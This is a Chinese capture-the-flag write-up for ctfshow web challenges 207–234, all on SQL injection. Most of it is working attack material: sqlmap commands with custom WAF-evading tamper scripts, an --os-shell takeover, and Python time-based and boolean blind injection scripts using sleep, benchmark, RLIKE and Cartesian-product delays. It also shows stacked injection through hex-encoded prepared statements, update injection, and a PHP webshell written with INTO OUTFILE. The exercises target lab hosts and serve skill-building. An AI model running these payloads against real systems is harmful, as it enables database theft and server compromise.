randomcase.py Microsoft SQL Server 2005，MySQL 4, 5.0 and 5.5，Oracle 10g，PostgreSQL 8.3, 8.4, 9.0中随机大小写

unmagicquotes.py 宽字符绕过 GPC addslashes

randomcomments.py 用/**/分割sql关键字

charunicodeencode.py ASP，ASP.NET中字符串 unicode 编码

securesphere.py 追加特制的字符串

versionedmorekeywords.py MySQL >= 5.1.13注释绕过

halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释

顺便发现这里又改了表和列名ctfshow_flaxca flagvc

于是payload

sqlmap -u http://36df1ef4-f736-43c6-b212-24cc8b77203f.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://36df1ef4-f736-43c6-b212-24cc8b77203f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://36df1ef4-f736-43c6-b212-24cc8b77203f.challenge.ctf.show/sqlmap.php --tamper=space2comment.py -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump

web208

返回逻辑

//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
  function waf($str){
   return preg_match('/ /', $str);
  }

select替换成空，还要绕过空格

空格还是想着用上面那个脚本，select替换空的话双写绕过或者大小写绕过吧

然后发现sqlmap跑的时候一直用的大写的select。。。

所以还是上一道题的脚本，只不过又改了列和表名

sqlmap -u http://09b88295-4801-41f6-8e05-6c17422d302a.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://09b88295-4801-41f6-8e05-6c17422d302a.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://09b88295-4801-41f6-8e05-6c17422d302a.challenge.ctf.show/sqlmap.php --tamper=space2comment.py -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump

web209

//对传入的参数进行了过滤
  function waf($str){
   //TODO 未完工
   return preg_match('/ |\*|\=/', $str);
  }

过滤空格 * = 其中空格我们可以用%09绕过然后=可以用like

这里就需要去修改脚本

在/usr/share/sqlmap/tamper/下，复制一个space2comment.py，把名字改成web209.py

下图是原来的

在这里插入图片描述

改成下面这样

在这里插入图片描述

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x9)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == '=':
                retVal += chr(0x9) + 'like' + chr(0x9)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x9)
                continue

            retVal += payload[i]

    return retVal

然后用这个脚本即可，注意又换了老东西

-D ctfshow_web -T ctfshow_flav -C ctfshow_flagx

sqlmap -u http://d27c491a-77a4-4b76-9e64-04989ca8eba8.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://d27c491a-77a4-4b76-9e64-04989ca8eba8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://d27c491a-77a4-4b76-9e64-04989ca8eba8.challenge.ctf.show/sqlmap.php --tamper=web209.py --threads=3 -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump

在这里插入图片描述

因为他说我线程低了，所以顺便提了线程

web210-212

返回逻辑

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }

对id进行base64解码，反转字符串，解码，再反转

好说，继续用刚刚的exp，只需要在最后加上面的反向操作即可，即

base64.b64encode(base64.b64encode(payload_ret[::-1].encode()).decode()[::-1].encode()).decode()

然后改成web210.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x9)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == '=':
                retVal += chr(0x9) + 'like' + chr(0x9)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x9)
                continue

            retVal += payload[i]
    payload_ret = retVal
    retVal = base64.b64encode(base64.b64encode(payload_ret[::-1].encode()).decode()[::-1].encode()).decode()

    return retVal

其他不变，只不过老东西又变了，总之web210的payload如下

sqlmap -u http://d89fa806-8595-4b7d-99fa-fbee60b83efb.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://d89fa806-8595-4b7d-99fa-fbee60b83efb.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://d89fa806-8595-4b7d-99fa-fbee60b83efb.challenge.ctf.show/sqlmap.php --tamper=web210.py --threads=3 -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump

然后发现这三题都能用差不多一个payload

web211只是在刚刚的基础上过滤了空格，然后老东西变成了-D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa --dump

web211

sqlmap -u http://4bd80180-65e8-4d50-908f-04b91ab7e392.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://4bd80180-65e8-4d50-908f-04b91ab7e392.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://4bd80180-65e8-4d50-908f-04b91ab7e392.challenge.ctf.show/sqlmap.php --tamper=web210.py --threads=3 -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa --dump

web212过滤*，之前说了，这个没啥用

web212

sqlmap -u http://1ae3935c-31f0-4a16-8d22-a3aa81418707.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://1ae3935c-31f0-4a16-8d22-a3aa81418707.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://1ae3935c-31f0-4a16-8d22-a3aa81418707.challenge.ctf.show/sqlmap.php --tamper=web210.py --threads=3 -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa --dump

web213

题目说练习使用–os-shell 一键getshell

原理是into outfile函数将一个可以用来上传的文件写到网站的根目录下。然后一个文件是命令执行，一个是上传文件

在mysql中，由 secure_file_priv 参数来控制导入导出权限，该参数后面为null时，则表示不允许导入导出；如果是一个文件夹，则表示仅能在这个文件夹中导入导出；如果参数后面为空，也就是没有值时，则表示在任何文件夹都能导入导出

用web210.py试试哈

test

sqlmap -u http://97a2ce63-a000-4020-838b-9eccc076d657.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://97a2ce63-a000-4020-838b-9eccc076d657.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://97a2ce63-a000-4020-838b-9eccc076d657.challenge.ctf.show/sqlmap.php --tamper=web210.py --threads=3 --os-shell

开始抉择了家人们
在这里插入图片描述

因为我们是php靶机，所以这里输入4 回车。后面那个默认y

在这里插入图片描述

目录就1

在这里插入图片描述

拿到shell

此时可以发现多了两个tmp文件

在这里插入图片描述

可以发现其中一个是命令执行的

在这里插入图片描述

而另一个是进行文件上传的

总之上去之后cat /ctfshow_flag即可

web214

sqlmap圆满结束，学到挺多的，现在开始是时间盲注，和编写脚本离不开了

在这里插入图片描述

¿¿¿¿¿¿¿

然后就是找注入点，根据之前的可以确定是在/api/index.php，但是不知道怎么弄

于是乎打开了我最不喜欢打开的bp，因为我电脑打开太卡了

然后tnnd上次弄mc1.18.1下载了java17，我用的祖传bp2020.2打不开呜呜呜，无奈去下载2021.9的了，唉，祖传能999线程，不知道新版是不是只能5线程

好，弄完了。换了个bp2021.9的

然后我发现怎么找都找不到注入点，看feng师傅的wp说注入点是/api/index.php的POST方式发送ip和debug。。。

如果要知道是这里的话，就只能看网络请求。
在这里插入图片描述

在这里插入图片描述

这里就是标准的时间盲注，第175题可是写过的，再修改一下即可

import time
import requests
url = 'http://fbc47c9a-559c-4e8d-87ff-8a73242bdfab.challenge.ctf.show/api/index.php'
flag = ''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = {"ip":f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.5),'False')"   # 注表名
                   ,'debug':0}

        start_time = time.time()
        r = requests.post(url=url,data=payload).text
        end_time = time.time()
        sub = end_time - start_time
        if(sub >= 0.5):
            max = j
        else:
            min = j

#注列名
f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{i},1))<{j},sleep(0.5),'False')"

#爆字段
f"if(ascii(substr((select group_concat(flaga) from ctfshow_flagx),{i},1))<{j},sleep(0.5),1)"

web215

查询语句：用了单引号

那不就是标标准准之前175那个时间盲注然后小改一下吗

对于上面那个，也就前面加’ or ，后面加#

如下

import time
import requests
url = 'http://017862d1-440d-44e3-86de-45412b68b8cd.challenge.ctf.show/api/index.php'
flag = ''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = {"ip":f"' or if(ascii(substr((select group_concat(flagaa) from ctfshow_flagxc),{i},1))<{j},sleep(0.5),1)#"
                   ,'debug':0}

        start_time = time.time()
        r = requests.post(url=url,data=payload).text
        end_time = time.time()
        sub = end_time - start_time
        if(sub >= 0.5):
            max = j
        else:
            min = j

当然还有个判断方法，就是直接设置timeout，这样超过这个时间直接跑下一个，改法如下：

import requests
url = 'http://017862d1-440d-44e3-86de-45412b68b8cd.challenge.ctf.show/api/index.php'
flag = ''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = {"ip":f"' or if(ascii(substr((select group_concat(flagaa) from ctfshow_flagxc),{i},1))<{j},sleep(0.3),1)#"
                   ,'debug':0}

        try:
            r = requests.post(url=url,data=payload,timeout=0.29)
            min = j
        except:
            max = j

web216

 where id = from_base64($id);

闭合这个base64解码即可

import requests
url = 'http://cce5695a-4187-4c62-9e84-e684dbfa8fbb.challenge.ctf.show/api/index.php'
flag = ''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = {"ip":f"'') or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxcc),{i},1))<{j},sleep(0.3),1)#"
                   ,'debug':0}

        try:
            r = requests.post(url=url,data=payload,timeout=0.29)
            min = j
        except:
            max = j

web217

 where id = ($id);

返回逻辑

    //屏蔽危险分子
    function waf($str){
        return preg_match('/sleep/i',$str);
    }

过滤了sleep，尝试百度mysql 类似sleep函数、mysql休眠函数，都没有百度出什么名堂，看wp发现用到了一个叫benchmark的函数

MySQL有一个内置的BENCHMARK()函数，可以测试某些特定操作的执行速度。参数可以是需要执行的次数和表达式。表达式可以是任何的标量表达式，比如返回值是标量的子查询或者函数。该函数可以很方便地测试某些特定操作的性能

什么意思呢，来看看这张图

在这里插入图片描述

运行一次md5的时间可太短了，但是benchmark就是运行114514 1145140次md5计算出来的时间

值得注意的是，时间是指客户端的经过时间，不是在服务器端的CPU时间。

因此这个在注入的时候，和服务器跟网速有关

因此为了防止注入时间的影响导致flag出错，这里专门设置了sleep

import time
import requests
url = 'http://89b2740e-6baf-48a7-bb82-2929453976d5.challenge.ctf.show/api/index.php'
flag = ''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = {"ip":f"'') or if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{i},1))<{j},benchmark(1145140,md5(2333)),'False')#"
                   ,'debug':0}

        try:
            r = requests.post(url=url,data=payload,timeout=0.5)
            min = j
        except:
            max = j
        time.sleep(0.3)
    time.sleep(0.8)

但是就算是这个payload我还是注了6次取交集才交上去，乌鱼子了

web218

查询语句

       where id = ($id);

返回逻辑

    //屏蔽危险分子
    function waf($str){
        return preg_match('/sleep|benchmark/i',$str);
    }

究极预判了属于是

查了一下，发现有人写过，参考文章https://www.cnblogs.com/forforever/p/13019703.html

1.sleep

2.benchmark

3.笛卡尔积

4.GET_LOCK() 加锁

5.RLIKE REGEXP正则匹配

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
等同于sleep(5)

看完之后发现，我好像和feng师傅看的文章差不多。。。。试试最后一个

天啊，还是注了n次才交上，麻麻子

import time
import requests
url = 'http://3471a536-3547-4d4b-93c6-06020fab5ffe.challenge.ctf.show/api/index.php'
flag = ''
sleep_rep = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b'"

for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = {"ip":f"'') or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxc),{i},1))<{j},{sleep_rep},'False')#"
                   ,'debug':0}

        try:
            r = requests.post(url=url,data=payload,timeout=0.5)
            min = j
        except:
            max = j
        time.sleep(0.2)

web219

返回逻辑

    //屏蔽危险分子
    function waf($str){
        return preg_match('/sleep|benchmark|rlike/i',$str);
    }

啊这rlike我的rlike

好吧，开始用笛卡尔积

import requests
import time
url='http://f6ad04f0-3fd9-4eb9-9dc9-78cfaa9f5000.challenge.ctf.show/api/index.php'

flag=''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        # payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"
        # payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxca'),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"
        payload=f"if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxca),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"

        data={
            'ip':payload,
            'debug':0
        }
        try:
            r=requests.post(url=url,data=data,timeout=0.15)
            min=j
        except:
            max=j
        time.sleep(0.1)

web220

时间盲注结束！太折磨了！！

返回逻辑

    //屏蔽危险分子
    function waf($str){
        return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
    }

可以注意到过滤了ascii和substr，之前说过可以用like

继续笛卡尔积

import requests
import time
url='http://fd9d2056-9452-448e-b2a6-aeb1c0dda361.challenge.ctf.show/api/index.php'
table = '0123456789abcdef-{},_"'
flag='ctfshow{'
for i in range(60):
    for j in table:
        payload = "if((select flagaabcc from ctfshow_flagxcac limit 0,1) like '{}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(flag + j + "%")

        data={
            'ip':payload,
            'debug':0
        }
        try:
            r = requests.post(url=url, data=data, timeout=0.15)
        except:
            flag += j
            print(flag)
            break
        time.sleep(0.2)

web221

描述：limit注入

查询语句

  //分页查询
  $sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

返回逻辑

//TODO:很安全，不需要过滤
//拿到数据库名字就算你赢

百度看看用法

select * from tableName limit i,n
# tableName：表名
# i：为查询结果的索引值(默认从0开始)，当i=0时可省略i
# n：为查询结果返回的数量
# i与n之间使用英文逗号","隔开

# 
limit n 等同于 limit 0,n

这里可以看P神的文章 https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

里面说到：

在LIMIT后面可以跟两个函数，PROCEDURE 和 INTO，INTO除非有写入shell的权限，否则是无法利用的，那么使用PROCEDURE函数能否注入呢？ Let’s give it a try:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1); 

ERROR 1386 (HY000): Can't use ORDER clause with this procedure

ANALYSE可以有两个参数：

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1); 

ERROR 1386 (HY000): Can't use ORDER clause with this procedure

看起来并不是很好，继续尝试：

mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);

但是立即返回了一个错误信息：

ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'

sleep函数肯定没有执行，但是最终我还是找到了可以攻击的方式：

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

如果不支持报错注入的话，还可以基于时间注入：

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

直接使用sleep不行，需要用BENCHMARK代替。

首先看一下传的参数

GET http://47e30f87-1f8b-4cca-a35f-b4d1aa4049d5.challenge.ctf.show/api/?id=1&page=1&limit=10

然后注意看上面的攻击方式

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

用这个语句，成功注入出了version()，因为这里开启了报错

这道题也开启了报错，所以也能用这个payload打，试试

在这里插入图片描述

没毛病吧，那就把version()换成database()

得到：{“code”:0,“msg”:"\u67e5\u8be2\u5931\u8d25XPATH syntax error: ‘:ctfshow_web_flag_x’",“count”:“0”,“data”:[]}

url/api/index.php?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);

当然，既然是报错注入，除了extractvalue，还能用updatexml

url/api/index.php?page=1&limit=1 procedure analyse(updatexml(rand(),concat(0x3a,database()),1),1);

所以这题flag就是ctfshow_web_flag_x，不需要包裹ctfshow{}

web222

group 注入

查询语句

  //分页查询
  $sql = select * from ctfshow_user group by $username;

返回逻辑

//TODO:很安全，不需要过滤

这里已经写死group by $username了

百度看了一下，group by和报错注入有点关系

然后发现，在使用floor的时候会出现报错的情况，可以看这两篇文章

https://www.secpulse.com/archives/140616.html

https://www.cnblogs.com/xdans/p/5412468.html

好了，回到这道题，他会依次去扫描我们$username。也就是说，这题是一共给了21个id，如果我们传的是这个表，那么他会一行一行去扫这21个id。

那如果我们写入语句：1,if(1=1,sleep(0.1),1) 正常来说，他就会停顿2.1s以上

所以能够利用这个特点，实现一波时间盲注

import requests
import time
url='http://9f4a1dc4-86c8-4876-b732-f5ffd6be8114.challenge.ctf.show/api/index.php?u='

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        #payload=f"1,if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.02),1)"
        #payload=f"1,if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))<{j},sleep(0.02),1)"
        payload=f"1,if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1))<{j},sleep(0.02),1)"

        try:
            r=requests.get(url=url+payload,timeout=0.4)
            min=j
        except:
            max=j
        time.sleep(0.2)

然后这里我试了一下concat(database(),floor(rand(0)*30))

在这里插入图片描述

能查询出来东西，是不是可以用布尔盲注呢。况且布尔比时间快

最后发现也是可行的，脚本如下

import requests
import time

url='http://60eb33c3-f99f-40ab-a612-d0085affb66a.challenge.ctf.show/api/index.php?u='

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        #payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},username,id)"
        #payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))<{j},username,id)"
        payload=f"if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1))<{j},username,id)"

        r=requests.get(url=url+payload).text
        #print(r.text)
        if len(r)<288:
            max=j
        else:
            min=j

web223

查询语句

group注入

  //分页查询
  $sql = select * from ctfshow_user group by $username;

返回逻辑

//TODO:很安全，不需要过滤
//用户名不能是数字

还是group注入，但是用户名不能是数字。之前在web185写过，可以用true+true+……+true来代表数字

web224

一个长着很像后台登录页面的登录页面

发现有robots.txt，里面有/pwdreset.php，是一个密码重置界面

啊，重置一波admin admin，然后用admin admin登录。是一个文件上传界面

啊，不能文件过大，而且type错误的话会显示file type error

fuzz一下发现，怎么感觉他啥都不让传

然后把，vip群有个payload.bin，传上去就可以生成一个木马，然后用这个木马拿flag

在这里插入图片描述

看了下这个bin，发现里面写了个select 0x3c3f3d60245f4745545b315d603f3e into outfile ‘/var/www/html/1.php’

原来还是into outfile写shell进去啊

然后1.php?1=cat /flag就可以了

还有一件事就是，为什么这里filename是zip？这里读一下upload.php看看

<?php
	error_reporting(0);
	if ($_FILES["file"]["error"] > 0)
	{
		die("Return Code: " . $_FILES["file"]["error"] . "<br />");
	}
	if($_FILES["file"]["size"]>10*1024){
		die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");
	}

    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
	  $filename = md5(md5(rand(1,10000))).".zip";
      $filetype = (new finfo)->file($_FILES['file']['tmp_name']);
      if(preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i",$filetype)){
        die("file type error");
      }
	  $filepath = "upload/".$filename;
	  $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $filename);
	  $con = mysqli_connect("localhost","root","root","ctf");
		if (!$con)
		{
			die('Could not connect: ' . mysqli_error());
		}
		if (mysqli_multi_query($con, $sql)) {
			header("location:filelist.php");
		} else {
			echo "Error: " . $sql . "<br>" . mysqli_error($con);
		}
		 
		mysqli_close($con);
		
      }
    
?>

打扰了，我看不懂。

web225

堆叠注入

查询语句

  //分页查询
  $sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

返回逻辑

  //师傅说过滤的越多越好
  if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
    die(json_encode($ret));
  }

这和强网杯的那道随便注差不多，经典

一共有三种方法，分别是Handler、预处理语句、rename和alter

然后这里过滤了alter，所以考虑前面两种

然后发现输入框框不回显，于是直接去api那里

这里用handler

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

http://4f2e6389-ceba-4b51-935f-21a413ceef5b.challenge.ctf.show/api/?username=%27;show%20databases;#

发现有回显，回显了ctfshow_web

?username=';show tables;#

得到ctfshow_flagasa

?username=';show columns from ctfshow_flagasa;#

得到flagas，其实上面的直接读就可以了

?username=';handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

强网杯-随便注：https://blog.csdn.net/rfrder/article/details/108583338

web226

堆叠注入

查询语句

  //分页查询
  $sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

返回逻辑

  //师傅说过滤的越多越好
  if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
    die(json_encode($ret));
  }

这里过滤了show，用预处理语句吧,注意这里ban掉了左括号，所以用16进制来绕过

';prepare a from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute a;#

web227

堆叠注入提升高级难度

查询语句

  //分页查询
  $sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

返回逻辑

  //师傅说过滤的越多越好
  if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i',$username)){
    die(json_encode($ret));
  }

不会，看wp去了

information_schema.routines查看存储过程和函数

存储过程（Stored Procedure）是一种在数据库中存储复杂程序，以便外部程序调用的一种数据库对象。

存储过程是为了完成特定功能的SQL语句集，经编译创建并保存在数据库中，用户可通过指定存储过程的名字并给定参数(需要时)来调用执行。

存储过程思想上很简单，就是数据库 SQL 语言层面的代码封装与重用。

先还是用预处理，因为要查询select * from information_schema.routines

api/index.php?username=';PREPARE a from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;EXECUTE a;

此时已能看到flag，并且得到flag是写到getFlag中

调用他的方法就是’;call getFlag;

web228、229、230

方法同226

web228
?username=';PREPARE a from 0x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;EXECUTE a;

web229
?username=';PREPARE a from 0x73656c656374202a2066726f6d20666c6167;EXECUTE a;

web230
?username=';PREPARE a from 0x73656c656374202a2066726f6d20666c61676161626278;EXECUTE a;

web231

update注入

查询语句

  //分页查询
  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

可以看见这里就不是查询语句，而是用update来更新

注入点是api的password和username，都是传POST

然后咱去POST一个password=1’,username=database()#&username=1

刷新一下那个查询界面，就会发现，都变成了ctfshow_web

名
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1
名
password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga') where 1=1#&username=1
字段
password=1',username=(select flagas from flaga) where 1=1#&username=1

web232

//分页查询
  $sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";

在231基础上改一下闭合即可

就是password=1’)

password=1'),username=(select flagass from flagaa) where 1=1#&username=1

web233

update注入

查询语句

  //分页查询
  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

我寻思吧，这和231有啥区别，没啥区别啊

然后用231的打一下，结果打不通。随着测试了一下，发现好像应该没啥过滤，而且题目也说没啥过滤，没办法只有采取盲注的姿势

然后注意这里查询是一行一行查询，所以sleep次数是行数

import requests
import time

url='http://7cf24fdd-904d-48f6-81ac-0b88a27076ca.challenge.ctf.show/api/'

flag=''
for i in range(60):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        #payload=f"' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.02),1)#"
        #payload=f"' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{i},1))<{j},sleep(0.02),1)#"
        payload=f"' or if(ascii(substr((select group_concat(flagass233) from flag233333),{i},1))<{j},sleep(0.02),1)#"

        data={
            'username': payload,
            'password':'1'}
        try:
            r=requests.post(url=url,data=data,timeout=0.35)
            min=j
        except:
            max=j

        time.sleep(0.3)

web234

update

//分页查询
  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

这不和上面还是一样的么，过滤也显示无过滤（群主肯定偷偷在黑名单了

嗷呜，师傅们说原来过滤了单引号，可以用反斜杠来绕过

如果写了反斜杠，password=\那么上面的语句就变成了

$sql = "update ctfshow_user set pass = '\' where username = '{$username}';";

诶，此时where username就成了字符串，where也丢失了其作用，这样就可以通过username来进行注入

password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
>banlist,ctfshow_user,flag23a

